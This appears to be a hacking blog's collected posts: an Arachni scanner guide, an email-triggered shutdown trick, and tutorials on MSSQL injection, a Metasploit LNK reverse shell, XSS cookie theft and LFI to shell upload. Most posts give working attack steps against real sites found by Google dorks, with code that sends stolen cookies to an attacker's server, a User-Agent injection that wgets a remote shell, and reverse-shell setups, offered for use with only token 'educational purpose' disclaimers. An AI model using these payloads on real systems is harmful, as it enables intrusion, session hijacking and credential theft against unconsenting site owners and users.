Arachni Web scanner (CLI & WEB GUI)

Download the CDE package from:

https://github.com/Zapotek/arachni/downloads


Linux users enjoy the privilege of a CDE package which is a compressed archive and contains a full preconfigured Linux environment in the form of a sandbox.

Quick Basic Usage  of Arachni:

To see help type :

$ arachni -h

You can check the options here.



You can simply run Arachni like:

$ arachni http://test.com

which will load all modules, the plugins under

/plugins/defaults

and audit all forms, links and cookies.

In the following example all modules will be run against http://site.com, auditing links/forms/cookies and following subdomains —with verbose output enabled.

The results of the audit will be saved in the the file site.com.afr.

$ arachni -fv http://site.com --report=afr:outfile=site.com.afr

 You can do module loading by following commands using wildcard.:


To load all xss modules using a wildcard:

$ arachni http://example.net --mods=xss_*

To load all audit modules using a wildcard:

$ arachni http://example.net --mods=audit*

To exclude only the csrf module:

$ arachni http://example.net --mods=*,-csrf

Or you can mix and match; to run everything but the xss modules:

$ arachni http://example.net --mods=*,-xss_*

Performing a full scan quickly

The full profile adds header auditing to the defaults.

 You can use it like:

$ arachni --load-profile=profiles/full.afp http://site.net

You have lots of options/flags/modes to explore here 

based on ur usage. 

for example we have Debug mode :


When this flag is enabled the system will output a lot of messages detailing what’s happening internally.
If you don’t want to be flooded by annoying and obscure messages you can pipe debugging output to a separate file when running Arachni using:

$ arachni -pv --mods=xss http://localhost/~zapotek/tests/forms/xss.php --debug

The debug.log file will contain something like:

Arachni WEB UI

now unzip it ,goto the folder location you will find the arachni console and web UI

There are two ways to start WEB UI :

just type in shell prompt :

$ arachni_web_autostart

This will setup a local Dispatcher, the WebUI server and even open up your browser.

or


Start a Dispatcher like:

$ arachni_rpcd 

Then start the WebUI by running:

$ arachni_web

And finally open up a browser window and visit: http://localhost:4567/ 

The WebUI supports HTTP Basic auth which you can configure using the Username and Password 

The WebUI can serve many purposes ranging from just a simple way to use Arachni to a Grid construction and management interface.

You can use it to perform and monitor a single scan, hassle-free, via any web-browser enabled device or use it to setup a worldwide High Performance Grid of Arachni scanners ready to combine their resources in order to perform lightning fast audits.

The first page, so eloquently entitled ‘Start a scan’, allows you to do just that.

A single scan can be performed easily enough, you just select a Dispatcher, enter the URL of your target and hit ‘Launch Scan’.

A high performance scan utilizes more than one Arachni Instance to perform the audit.

The master instance will perform the crawl and then calculate and distribute the workload amongst its slaves.
This allows scan-time to be severely decreased.

Once you have set up a Grid (i.e. configured at least 2 Dispatchers to have each other as neighbours) the “Start a scan” screen will change to this:

Modules and Plug-ins

The Modules and Plug-ins pages are pretty self-explanatory, they simply allow you to select which components to load.

Settings

Nothing special, these options have the same effects as their CLI(Command Line Interface) counterparts.

Reports

This page contains a list of audit reports along with the option to convert them to a fair amount of different formats.

Log

Not much to add to this, the name says it all:

Shutdown

You can kill the WebUI by sending Ctrl+C to the console from which you started it.

:)...:)

Read More

How To Shutdown A Computer With A Cell Phone

First you need to create a batch file to perform shutdown etc .you can write them down yourself.

* Open your notepad and type the following

EX: c:\windows\system32\shutdown -s -f -t 00
or
 shutdown -s -t 10 -c “shutting down”
And save it as shutdown.bat (Executable file)
----
Now open up Microsoft Outlook. I am assuming that you have already configured it for your Email . Now we will need to make it so that Outlook checks your inbox about every minute.

You can do this by going to Tools->Options. Then click on Mail Setup tab, and then, the Send/Receive button.

----
Make sure that the Schedule an automatic send/receive every… box is checked, and set the number of minutes to 1 or anytime you may like. Now you may close all of these dialog boxes.

Now go to Tools-->Rules and Alerts. Click on E-mail Rules tab. In new window select Check messages when they arrive and click Next.

Now in next page, check on, on this machine only and with specific words in the subject.
After checking these two values, click on specific words underlined.

 Search Text window will open, in the input field type the command that shuts down the PC. You can use any commands. For prevention of accidental execution I kept %shutdown% as a command. Click on Add button after you are done and click on OK.

Now click on Next.
In the next window check mark on start application. In the lower screen, click on application link.

 Now you’ll be welcomed to your familiar file open window. Load all files. And select the batch file that you’ve created to shutdown your PC.

Click on Next, again click on next (don’t choose any things in this step). And finally click on Finish button.

You’ll have %shutdown% alert shown in the E-mail Rules tab.

Now, when you send a message from your phone to your e-mail address with the Subject  %shutdown% your computer will trigger shutdown.bat file and instantly executes the command in that batch file finally leading to shutdown the PC.


:)

Read More

MSSQL Injection

MSSQL Injection

Ex: google dork

inurl:.asp?id=

find a result like :

http://www.somesite.com/some.asp?ID=12

Now to check if it is vuln or not

insert single quotation ' at the last :

http://www.somesite.com/some.asp?ID=12’

you get error like this:

-------------------------------------------------

Error:Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/some.asp, line 86      

-------------------------------------------------

Then you can proceed

http://www.somesite.com/some.asp?ID=12+and+1=convert(int,system_user)

(* here you can observe that we are trying to convert but it doesn’t happen which inturn shows the db name that it cant convert into int).

So it shows error , by showing the db name  like:

--------------------------------------------------

Error: Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'usr' to a column of data type int.

/some.asp, line 86

---------------------------------------------------------------

In the error it shows some db name as “usr” .

Now

We try to bring all the available tables in a database :

http://www.somesite.com/some.asp?ID=12+and+1=convert(int,select+top+1+table_name+from+information_schema.tables))

(here information_schema is the database , this you can find in myphp).

We get error like :

----------------------------------------------

Microsoft OLE DB Provider for SQL Server error '80040e07'

Error: Syntax error converting the nvarchar value 'galery' to a column of data type int.

/some.asp, line 86

-----------------------------------------------

(here table name is galery)

But no login credentials will be in the galery table ,To find the Second table name

http://www.somesite.com/some.asp?ID=12+and+1=convert(int,select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('galery')))

we get table name as users

now to find columns in users table:

http://www.somesite.com/site.asp?ID=12+and+1=convert(int,select+top+1+column_name+from+information_schema.columns+where+table_name='users'))

we get this

-----------------------------------------------

Microsoft OLE DB Provider for SQL Server error '80040e07'

Error: Syntax error converting the nvarchar value 'username' to a column of data type int.

/some.asp, line 86

-----------------------------------------------

To find second column folow the above step like finding the second table name

Now we need to find the values in the table with columns username and password

http://www.somesite.com/some.asp?ID=12 and+1=convert(int,(select+top+1+username+from+users))

 same as like for finding value in password field too.

Got it.?

[ * Warning : Im not responsible for your actions , this is for educational purpose only . ]

Read More

Windows lnk Exploit

Hack the system using the windows lnk exploit:

Update metasploit.

Goto the prompt and goto framework

Then type:

#./msfconsole

Msf>prompt opens..

The search for the exploit windows lnk.

Msf>search lnk

Then it shows the exploit

exploit/xxxxx/xxxxxr/xxxxx_dllloader

then type:

msf>use exploitname(type above exploit)

set SRVHOST  tat is your local ip to get conection back

.

Then set payload

Shell/reverse_tcp payload works mostly

so type:

msf>set payload windows/metxxxxx/xxx_tcp

then set LHOST as your local ip

then type:

msf>exploit

you will be shown a url or address with port number..give it to ur friend

tada !

wait for the reverse connection.

---------------------------------------------------

Warning: Im not responsible for ur actions , just for educational purpose only

Read More

Cookie Grabbing using XSS

XSS means Cross-site Scripting is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users.

There are two types of XSS : Non-Persistent and Persistent.

If u need to know about persistent and non-persistent click here .

Now ..

Search for vulnerability in a site: its on you

This is a simple example here:

<sript>alert(“hi”);</script>

Make sure that you have a site where the cookie needs to be uploded..

(Where a link has to be sent and script executes )

Upload the below php script in your site ex:1.php

<?php

$cookie=$_GET[‘cookie’];     //storing cookies in a variable called $cookie.

$file=fopen(“cookies.txt”,”a”);  //opening a file called cookies.txt with append mode.

fwrite($file,$cookie.”\n\n\n);

fclose($file);

?>

Save it as “ 1.php “

Now the url looks like : www.your_site.com/some_folder/1.php

Find vuln in a site then put it like this below :

http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>

 now send this link but,mostly people wont click it because they find this url very suspicious.

So u need to mask it

Ex:

<iframe

src="http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>" width="1" heigth="1"></iframe>

**

Now put this script in file called iclick.php .

Now your url looks like www.your_site.com/folder/iclick.php

Send this link to your friend or anyone else ask….(social engineer) to click on this link..

Tats it the cookies will be stored in cookies.txt file.

(download cookie editor addon and go on wat u want to do).

-------------------------------------------------

Warning: *** Im not reponsible for your actions. This is just for educational purpose only.

Read More

LFI (Local File Inclusion)

LFI bounce using chunked transfer encoding

Local File Inclusion (also known as LFI) is the process of including files on a server through the web browser. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected.

The vuln. Code looks like :

<?php

   $file = $_GET['file'];

   if(isset($file))

   {

       include("pages/$file");

   }

   else

   ……….

    ……..       

   ?>

Here from the code you can observe that its taking or including the file from locally.

To get LFI vuln sites use dork like :: inurl:php?id=*.php

The “ *.php” means that any file name with extension .php

Ex: inrul:php?page=contact.php, contactus.ph etc.

Or inurl:.php?file=somefile.php

(* im not Responsible for any of the actions for what you do , Just Educational purpose only)

There are two ways : Manual and automated.

MANUAL way for LFI:

proc/self/environ method:

 check for vuln site same as above

then:

Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :

http://www.website.com/view.php?page=../etc/passwd

we got error and no etc/passwd file.

*so we go more directories up

http://www.website.com/view.php?page=../../etc/passwd

If you get like:

 we succesfully included the etc/passwd file.

The check for /proc/self/environ (in place of /etc/passwd) we get message like :

The we need Tamper data addon on firefox :

Choose Tamper and in User-Agent filed write the following code :

<?system('wget http://site.com/shel.txt -O shel.php');?>

Then submit the request.

(*here shel.txt must contain the shel code where we are getting from other site using wget command*)

Tada !. shel uploaded. J

Warning: I am not responsible for your actions , please be careful.this is for educational purpose only.

--------------------------------------------------------------------------------

Automated:

now remove the file name in the url and replace with “ ../ “ (without quotes)

if you get error like ::

Warning: include_once(../) [function.include-once]: failed to open stream: Inappropriate ioctl for device in /home/sitname /public_html/index.php on line 10

Warning: include_once() [function.include]: Failed opening '../' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in/home/sitename/public_html/index.php on line 10

It is vulnerable to LFI

Now to attack :

You need a python script called “ fimap “ which can be downloaded from google

U need python installed to execute it.

Open cmd prompt goto the folder where fimap.py script is present and type ::

 “ fimap.py –u www.site.com/file.php?page=file.php “

( -u :-  option for scan if vuln exists or not)

It tests for injecting a file where it is vulnerable : looks like this

Here from the above pic u can see at the bottom with : “ [1] /proc/self/environ “

0    (0- Clean/readable , 1- writable)

Now to exploit :: type:

“ fimap.py –x www.site.com/file.php?page=file.php “

 (-x : to exploit ; -u : scan for vuln).

Now you will find like this :

Choose domain , well here u need to choose a number here my option is “9” ,the thing here is the fimap stores the history of successful exploiting . so choose number corresponding to the domain which u have scanned.

After that it asks for options again to choose type vuln script (choose the number ,if there is only one script the type 1).

Then again it asks for type of available attacks : they are:

1.spawn fimap shell

2.pentest monkey reverse shell

Select option 1.

It will successfully inject

Tada !  you get the command prompt of the host.

( as for pentest monkey shell ,you need netcat and an open port to get the connection back.)

Warning: I am not responsible for your actions , please be careful.this is for educational purpose only.

You hardly find LFI vuln sites ,you need work ur ass off to get the sites.

--------------------------------------------------------------------------------------------------------

Read More